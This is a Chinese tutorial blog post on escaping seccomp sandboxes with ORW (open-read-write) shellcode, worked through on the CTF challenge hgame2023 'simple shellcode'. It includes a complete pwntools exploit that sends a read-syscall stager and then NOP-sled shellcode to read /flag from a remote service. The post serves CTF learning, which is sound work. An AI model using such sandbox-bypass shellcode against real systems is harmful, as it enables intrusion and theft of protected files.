orw(沙箱逃逸)

现在有很多程序在运行时禁用了系统函数,均采用了沙箱技术开启了沙箱保护,我们不能正常的get shell,只能用ROP链来调用其他的函数,例如read,write来把flag打印出来。这就是orw沙箱逃逸技术的由来。

查看沙箱

在实战中我们可以通过 seccomp-tools来查看程序是否启用了沙箱, seccomp-tools工具安装方法如下:

$ sudo apt install gcc ruby-dev
$ gem install seccomp-tools

安装完成后通过 seccomp-tools dump ./pwn即可查看程序沙箱。

沙箱函数

最原始的沙箱规则是用prctl()函数规定的,这个函数规定了程序哪些函数在程序里不能被调用,所以以后遇见了这种函数,那大概率是开了沙箱。

int **prctl** ( int **option**,unsigned long arg2,unsigned long arg3,unsigned long arg4,unsigned long arg5 )

mmap()

一般来说,orw这种类型的题都会有一个mmap函数来改写一个地址的读写权限,我们需要利用这块地址来构造ROP链。

void *mmap (void *addr, size_t length, int prot, int flags, int fd, off_t offset);

例题:hgame2023 simple shellcode

题目链接:NSSCTF

下载附件,打开题目,可以看见mmap和read函数

mmap函数给了0xcafe0000这个地址一个可读写可执行权限,read函数能够读取0x10的数据到该地址上,最后将该处内存作为函数调⽤。那这里就可以写入shellcode。

继续跟进sandbox函数

可以看见有两个prctl函数,可以判断程序利用了沙盒保护,用seccomp-tools进行检查

可以看出禁用了execve和execveat,这样子get shell就很难了,只能使用orw。

利用思路:

1.因为0x10这个空间很小,我们没办法在上面构建shellcode,那就只能再重新调用一个read函数。

2.调用完了read函数后,利用orw来打开flag文件,并进行读取。

exp如下:

from pwn import *

#p = process('./vuln')
p=remote('1.14.71.254',28371)
elf = ELF('./vuln')
context.log_level = 'debug'

context.terminal = ["konsole", "-e"]
context.arch = "amd64"
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
s = lambda x: p.send(x)

shellcode = asm("""
xor eax,eax
xor edi,edi
mov edx,0x1000
mov esi,0xcafe0000
syscall
""")    #这里是调用read函数
sa("Please input your shellcode:",shellcode)
shellcode = b"\x90" * 0x100  #这里的'\x90'是把程序的其他指令改写成nop,即去掉其他指令
shellcode += asm(shellcraft.open("/flag"))
shellcode += asm(shellcraft.read(3,0xcafe0100,0x100))
shellcode += asm(shellcraft.write(1,0xcafe0100,0x100))
s(shellcode)
ia()

orw还有一些其他限制,例如or缺w,rw缺o的情况,这里只是一个入门报告,就不详细介绍了,具体可以看这篇文章浅谈 ORW

orw入门报告的更多相关文章

  1. Linux 基础入门(新版)”实验报告一~十二

    实验报告 日期: 2015年9月15日 一.实验的目的与要求 熟练地使用 Linux,本实验介绍 Linux 基本操作,shell 环境下的常用命令. 二.主要内容 1.Linux 基础入门& ...

  2. 《读书报告 -- Elasticsearch入门 》--简单使用(2)

    <读书报告 – Elasticsearch入门 > ' 第四章 分布式文件存储 这章的主要内容是理解数据如何在分布式系统中存储. 4.1 路由文档到分片 创建一个新文档时,它是如何确定应该 ...

  3. 《读书报告 -- Elasticsearch入门 》-- 安装以及简单使用(1)

    <读书报告 – Elasticsearch入门 > 第一章 Elasticsearch入门 Elasticsearch是一个实时的分布式搜索和分析引擎,使得人们可以在一定规模上和一定速度上 ...

  4. jmeter5.0生成html报告 快速入门

    JMeter性能测试5.0时代之-多维度的图形化HTML报告 快速入门 1.确认基本配置 在jmeter.properties或者user.properties确认如下配置项: jmeter.save ...

  5. PowerBI系列之入门案例动态销售报告

    本文将讲解如何从零开始使用PowerBI Desktop制作一份动态销售报告.帮助大家快速入门PowerBI Desktop的操作.我们先来看一下一份动态销售报告的构成. 1.左上角放置了小黎子数据分 ...

  6. 小入门 Django(做个疫情数据报告)

    Django 是 Python web框架,发音 [ˈdʒæŋɡo] ,翻译成中文叫"姜狗". 为什么要学框架?其实我们自己完全可以用 Python 代码从0到1写一个web网站, ...

  7. Applescript快速入门及OmniFocus每日md报告开发

    本篇主要记录 Applescript 基础语法,以及利用 applescript 生成 omnifocus 每日报告 从 windows 转换到 macos,最近一直在不断折腾,这两天浏览 githu ...

  8. LOJ 数列分块入门 9 题解题报告

    LOJ 数列分块入门 9 题解题报告 \(\text{By DaiRuiChen007}\) I. 数列分块入门 1 题目大意 \(\text{Link}\) 维护一个长度为 \(n\) 的序列,支持 ...

  9. 程序设计入门——C语言 第2周编程练习 信号报告(5分)

      2   题目内容: 无线电台的RS制信号报告是由三两个部分组成的: R(Readability) 信号可辨度即清晰度. S(Strength)    信号强度即大小. 其中R位于报告第一位,共分5 ...

  10. 《信息安全系统设计基础》第一次实验报告--Linux 基础入门

    北京电子科技学院(BESTI) 实     验    报     告 课程:信息安全设计基础 班级:1352  姓名:何伟钦  学号:20135223 成绩:            指导教师:娄嘉鹏 ...

随机推荐

  1. 认证服务(keystone)

    Keystone职能: Keystone (OpenStack ldentityService)是OpenStack中的一个独立的提供安全认证的模块,主要负责openstack用户的身份认证.令牌管理 ...

  2. Velero 系列文章(二):使用 Helm 安装 Velero

    概述 本文是通过 Helm 3 来安装 Velero, 只做最基本的安装.并计划将 YAML (只备份 YAML, 不备份 Volume) 备份到腾讯云的 COS(兼容 S3, 所以可以通过 AWS ...

  3. Vue快速上门(1)-基础知识图文版

    VUE家族系列: Vue快速上门(1)-基础知识 Vue快速上门(2)-模板语法 Vue快速上门(3)-组件与复用 01.基本概念 1.1.先了解下MVVM VUE是基于MVVM思想实现的,那什么是M ...

  4. MySQL的安装与配置,图形化软件安装,以及IDEA上的配置操作

    1. MySQL安装详细教程 注意:本次安装例为随笔发布时最新的8.0.31版本教程,由于您所希望安装的版本不同可能会导致一些问题,请谅解. 进入官网下载界面 https://www.mysql.co ...

  5. vue下载与安装

    首先安装node.js环境: node.js 安装推荐文章:https://www.cnblogs.com/zhouyu2017/p/6485265.html 基于node.js安装淘宝镜像npm i ...

  6. python的grpc环境安装

    环境 ubuntu:bionic的docker image docker run -it ubuntu:bionic python的grpc环境安装 参考grpc官网:https://grpc.io/ ...

  7. Jmeter——循环控制器中实现Counter计数器的次数重置

    近期在使用Jmeter编写个辅助测试的脚本,用到了多个Loop Controller和Counter. 当时想的思路就是三个可变的数量值,使用循环实现:但第三个可变值的数量次数,是基于第二次循环中得到 ...

  8. 使用IntelliJ IDEA打开一个项目步骤

    目录 1.普通java项目 步骤一.使用IDEA打开一个新的项目 步骤二.设置项目的SDK 步骤三.设置项目的src为Resources Root​ 2.Maven项目 前三步同普通java项目相同 ...

  9. .Net 6 使用 Consul 实现服务注册与发现 看这篇就够了

    前言 在这几年的工作中,也经历过几个微服务项目,大多数都上了k8s,基本上都看不到Consul的身影,所以在工作之余折腾了下Consul,作为个人来讲还是得学习下,所以也就顺便通过文章来记录下学习过程 ...

  10. [C#]关于逆变与协变的基本概念和修饰符in与out的意义

    协变与逆变的概念 假如两个类型X和Y具有特殊关系,X类型的每个值都能转换成Y类型.我们将I<X>向I<Y>的转换称为协变转换.反之我们将I<Y>向I<X> ...